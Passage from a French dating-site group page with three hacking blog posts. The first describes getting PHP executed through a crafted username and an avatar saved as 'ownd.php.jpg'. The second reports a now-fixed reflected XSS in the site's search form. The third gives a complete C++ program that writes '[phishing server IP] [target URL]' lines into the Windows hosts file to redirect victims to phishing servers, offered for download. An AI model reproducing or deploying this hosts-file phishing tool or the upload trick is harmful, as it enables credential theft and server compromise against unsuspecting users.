rencontre
cerise38
bonjour a tous moi ses nadege

Vos Articles    TOP50 Membres    TOP Albums    Rechercher    Groupes
INSCRIPTION    |    SE CONNECTER
LOGIN   -   MOT DE PASSE | perdu



Objet du groupe
L'antre du genie malin, des shouaits non formulés.
Fiche du groupe
Créateur du groupe : nementon lui envoyer un message  ajouter à mes préférés  alerter un modérateur
Nombre d'inscrits : 3
Date de création : 04/11/2009
Membres du groupe
Cette liste n'est pas publique

Les derniers billets postés


Billets par catégorie

 Informatique 

  • 0
    votes
Injection Php, ou comment regreter sa ZM
Catégorie : Informatique | TAG : Injection , Php
0 commentaires

 Voila, je me suis rendu compte que ce type de faille est plus que assé présente sur les petites sites persos (voir pire sur certains petits cms), alors il est l'heure de tiré la sornette d'alarme !  Choqué

Peut être le savez vous, dans le cas contraire désormais vous le saurez,  un fichier.php.jpg || fichier.php.gif || [...] contenant du code php en son sein, sera dans 90% des cas exécuté lors de sont appel sur le serveur (enfin, personnellement, je n'ai pas encore rencontré de serveur qui n'a pas répondu à mes attentes). 

Bref, c'est bien beau me direz vous, de nos jours, "la faille d'upload" à tellement été médiatisé, que l'on en est devenu paranno, au point pour certains qu'ils n'osent même pas tenter le diable.
Je suis d'accord, niveau formulaire et gestion des images envoyé en php, rien à redire, la faille se fait rare ... mais néanmoins, voila sur quoi je tombe très souvant :

- Un site ne filtrant pas les caractères spéciaux lors de l'inscription d'un membre (Miam le beau ownd.php)
- Un site, qui utilise le pseudonyme du membre pour sauvegarder l'avatar envoyé.

Donc, dans ce cas la, on aura beau avoir un formulaire d'envoie ultra sécurisé, il nous suffira de nous nommer ownd.php pour stocker un fichier ownd.php.jpg  Grimaçant

Et ceci, peut faire trés mal.




  • 1
    votes
Xss(2) url injection sur QMG
Catégorie : Informatique | TAG : Xss , Php , Url injection
0 commentaires

Oyé, oyé, bonnes et mauvaises gens, voila une nouvelle xss découverte sur QMG par l'une de nos membres, agnes77.

Statut : 
   - Unsecure -Fixed 


Risque : 
 - Vole des s sessions
 - Phishing

Url injection, what is it ?

Tout d'abord, une petite notion d'histoire, notre trés chere toile d'areignée mondiale, le world wide web, à sa naissance, ne supporté pas les langages scripts tel que Php et Asp.
Les serveurs webs etaient donc seulement capable de nous retourner des pages statiques en html, 
Mais trés vite, ce manque de dynamisme dans nos pages ce vus comblé par l'apparition de langages scripts executés coté serveurs, les plus connus etant Asp dévolleper par Microsoft pour son serveur IIS et Php, créé en 1994 par Rasmus Lerdorf pour son site Web.
Exécuté coté serveurs, cela veut bien dire que lors de la demande d'un page web par votre navigateur, un traitement sera éxecuté par le serveur, lui permettant de génerer dynamiquement le code d'une page html, avant de l'envoyer a votre navigateur.
Se basant sur les protocoles HTTP, HTTPS ou autre ses langages reconnaissent généralement deux type de requêtes permettant l'envoie de données, les requêtes GET ou POST.

Nous nous intéréserons ici au requêtes de type GET, qui sont, dans nos navigateur, des requêtes envoyé dans l'url.

Ainsi, l'appelle de la page http://www.monsite.com/mapage.php, n'est rien d'autre qu'une requêtes de type GET du fichier mapage.php envoyé sur le serveur lier à l'hôte www.monsite.com

En plus de cela, les langages Asp et Php sont capable de récupérer des parametre envoyé au travers d'une url.
Paramétres passés sous la forme http://monsite.com/mapge.php?paramtre1=valeur1&parametre2=valeur2

Examinons cette portion de code :

Code php
<html>
<head></head>
<body>
// Structure de base d'une page html

<?php
// Balise php, signifiant, le debut de l'execution d'un traitement en php.
  if (isset($_GET['parametre']) {
  // Struture conditionelle, isset en php permet de verifier l'existance d'un element.
     echo $_GET['parametre'];
   // echo en php permet l'affichage d'une chaine de caractere
  // $_GET['NOM'] en php, variable contenant  la valeur d'un paramétre passer dans l'url "NOM" (Ex :   NOM=moi, renverra "moi") 
 }
  else {
     echo "Aucun parametre passé dans l'url";
 }
?>
// fin du traitement php
</body>
</html>


Si nous appelons la page "http://monsite.com/mapge.php" le serveur lors de son traitement php, entrera dans la struture conditionelle, le parametre nommé "parametre" n'existant pas, php sautera alors à alors directement au code contenu dans la condition else (alors) et nous renverra une page html affichant "Aucun parametre passé dans l'url".


Alors que, à l'appel de la page "http://monsite.com/mapge.php?parametre=Lapin", le parametre "parametre" existant, le serveur nous renverra une page html, contenant la valeur  du parametre, donc "Lapin"

L'url injection, et donc l'injection de code html ou au sein de parametres d'une url, on peut alors imaginer, qu'une personne malveillante, utilise une telle faille coupler a de l'ingénierie sociale pour récupérer les session, ou afficher une page de phishing à une personne tiers.
Wiki :

L'ingénierie sociale (social engineering en anglais) est une forme d'escroquerie utilisée en informatique pour obtenir un bien ou une information. Cette pratique exploite l'aspect humain et social de la structure à laquelle est lié le système informatique visé. Utilisant ses connaissances, son charisme, l'imposture ou le culot, le pirate abuse de la confiance, l'ignorance ou la crédulité de personnes possédant ce qu'il tente d'obtenir. Dans son ouvrage L'art de la supercherieKevin Mitnick a théorisé et popularisé cette pratique qui vise le facteur humain d'un système informatique pour briser sa sécurité.

Ce terme est surtout utilisé en jargon informatique pour définir les méthodes des pirates informatiques (catégorie des hackers Black hat), qui usent d'ingénierie sociale pour obtenir un accès à unsystème informatique ou simplement pour satisfaire leur curiosité.

De nos jours, un effort de formation et de prévention des utilisateurs de systèmes informatisés sécurisés est fourni. Les départements de gestion informatique font circuler des documents décrivant les règles de sécurité de base : la façon de choisir un mot de passe long et ne se trouvant pas dans le dictionnaire, ne jamais donner son mot de passe à quelqu'un, pas même à un employé du département informatique, etc. Des conférences invitant des spécialistes du renseignement ou de la sécurité informatique sont parfois organisées au sein des plus grandes structures, afin de sensibiliser davantage les utilisateurs à cette menace. Ces formations visent à prévenir les employés de ne pas divulguer accidentellement des informations sensibles, et de donner l'alerte en cas de tentative détectée.


Evidament, il existe en php/asp, des fonctions pour se proteger de ce genre d'injection, tel que 
htmlentities() en php, qui convertis les carateres passer en parametre en leur equivalence html.

La Faille se situe, dans le formulaire de recherche de QMG.







  • 1
    votes
Phishing en local sous windows
Catégorie : Informatique | TAG : Phishing , Cpp , C++
2 commentaires

Pour accomplir cela, il nous suffira de modifier le fichier hosts de windows, qui gèrent le "mapping" des ips en fonction des hosts choisit, l'on pourrait dire, des redirections d'ips "transparentes" dans notre cas

Je cite :

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.

Fichier qui se trouve dans le dossier /Windows/system32/drivers/etc/

Observons le, et comprenons comment Windows se charge "de faire pointer", d'associer l'host localhost sur l'ip 127.0.0.1

On peut y voir gravé :

127.0.0.1 localhost

Héhé, simple n'est ce pas ? D'ou pour ceux de mauvaises foie :

[Ip serveur phishing] [Url serveur visé]



Aie, aie, aie, ça pique, en bonus, je vous offre un petit code en C++ (En mode procédural) pour pouvoir trifouiller tranquillement son fichier hosts sous xp (Ne fonctionne pas sous vista qui recuire des droits admins)


Code C++ :
  1.  
  2. #include "stdafx.h"
  3. #include <iostream>
  4. #include <cstdlib>
  5. #include <string>
  6. #include <fstream>
  7. #include <iostream>
  8.  
  9. using namespace std;
  10.  
  11. int _tmain(int argc, _TCHAR* argv[])
  12. {
  13. cout << "--- [Windows XP phishing pour http://www.genoxyde-security.com by Nementon] --- " << endl;
  14. cout << "Entrez l'adresse ip du server de phishing, puis l'url du site vise. "<< endl;
  15. cout << "Un reboot sera necessaire." << endl;
  16. cout << "Attention, ne l'utilisez pas a mauvais escient ! " << endl;
  17. string OS = getenv("OS"); // On verifie que l'on est sous windows
  18. if (OS == "Windows_NT") {
  19. string SystemDrive = getenv("SYSTEMDRIVE");
  20. SystemDrive += "/Windows/System32/drivers/etc/hosts";
  21. ifstream fichier(SystemDrive.c_str(), ios::in); // on ouvre le fichier en lecture
  22.  
  23. if(fichier) // si l'ouverture a réussi
  24. {
  25. // instructions
  26. cout << "Redirections serveurs trouvees : " << endl;
  27. string ligne;
  28. while(getline(fichier, ligne))
  29. {
  30. if (ligne.find("#") != 0) {
  31. cout << ligne << endl;
  32. }
  33. }
  34. fichier.close(); // on ferme le fichier
  35. }
  36. else
  37. {
  38. cerr << "Impossible d'ouvrir le fichier !" << endl;
  39. system("pause");
  40. return 0;
  41. }
  42. }
  43. else {
  44. cout << "Operation impossible, vous ne disposez pas d'un windows_NT" << endl;
  45. }
  46. int choix = 0;
  47. while (1 == 1) {
  48. cout << " Options: - Ajouter une adresse serveur : 1 - Supprimer l'adresse d'un serveur : 2 - Quitter : 3 " << endl;
  49. cin >> choix;
  50.  
  51. switch(choix) {
  52. case 1: {
  53. int Again = 1;
  54. do {
  55. cout << " Entrez l'adresse ip du serveur de phishing : " << endl;
  56. string ip;
  57. cin >> ip;
  58. cout << "Entrez l'url du site vise : " << endl;
  59. string url;
  60. cin >> url;
  61. // traitement
  62. string SystemDrive = getenv("SYSTEMDRIVE");
  63. SystemDrive += "/Windows/System32/drivers/etc/hosts";
  64. ofstream fichier(SystemDrive.c_str(), ios::out | ios::app ); // on ouvre le fichier en ecriture/ajout
  65.  
  66. if(fichier) // si l'ouverture a réussi
  67. {
  68. // instructions
  69. fichier <<" " << ip << " " << url << endl;
  70. fichier.close(); // on ferme le fichier
  71. }
  72. else
  73. {
  74. cerr << "Impossible d'ouvrir le fichier ! Navre, si vous etes sous vista, les droits admin sont necessaire ... " << endl;
  75. system("pause");
  76. return 0;
  77. }
  78. //Again ?
  79. cout << "Voulez vous ajouter d'autre adresses ? 1-0ui 2-Non" << endl;
  80. cin >> Again;
  81. if (cin.fail()==true)
  82. {
  83. // erreur
  84. Again = 2;
  85. }
  86. }while (Again == 1);
  87. }
  88. break;
  89. case 2: {
  90. int Again = 1;
  91. do {
  92. cout << "Entrez l'adresse du serveur a suprimer" << endl;
  93. string ip;
  94. cin >> ip;
  95. cout << "Working ... " << endl;
  96. int i = 0;
  97. string NewFichier;
  98.  
  99. string SystemDrive = getenv("SYSTEMDRIVE");
  100. SystemDrive += "/Windows/System32/drivers/etc/hosts";
  101. fstream fichier(SystemDrive.c_str(), ios::in | ios::out ); // on ouvre le fichier en ecriture/ajout
  102. if(fichier) // si l'ouverture a réussi
  103. {
  104. // instructions
  105. string ligne;
  106. while(getline(fichier, ligne))
  107. {
  108. if (ligne.find(ip) == 0) {
  109. NewFichier += "# "+ligne +" ";
  110. i++;
  111. }
  112. else {
  113. NewFichier += ligne+" ";
  114. }
  115. }
  116. fichier.close(); // on ferme le fichier
  117. ofstream fichier(SystemDrive.c_str(), ios::out | ios::trunc);
  118. if(fichier)
  119. {
  120. fichier << NewFichier;
  121. fichier.close();
  122. }
  123. cout << i << " adresses ip trouvees et enlevees " << endl;
  124. }
  125. else
  126. {
  127. cerr << "Impossible d'ouvrir le fichier ! Navre, si vous etes sous vista, les droits admin sont necessaire ... " << endl;
  128. system("pause");
  129. return 0;
  130. }
  131. //Again ?
  132. cout << "Voulez vous suprrimez d'autre adresses ? 1-0ui 2-Non" << endl;
  133. cin >> Again;
  134. if (cin.fail()==true)
  135. {
  136. // erreur
  137. Again = 2;
  138. }
  139. }while (Again == 1);
  140. }
  141. break;
  142. case 3:
  143. return 0;
  144. break;
  145. }
  146. }
  147. return 0;
  148. }
  149.  
  150.  
Ou à télécharger : Ici





billets précédents
page 1 / 2




Site de rencontres gratuites ©2000-2012 Quoimagueule™, Tous droits réservés.

code de reduction - annuaire gratuit - Rencontre - Chat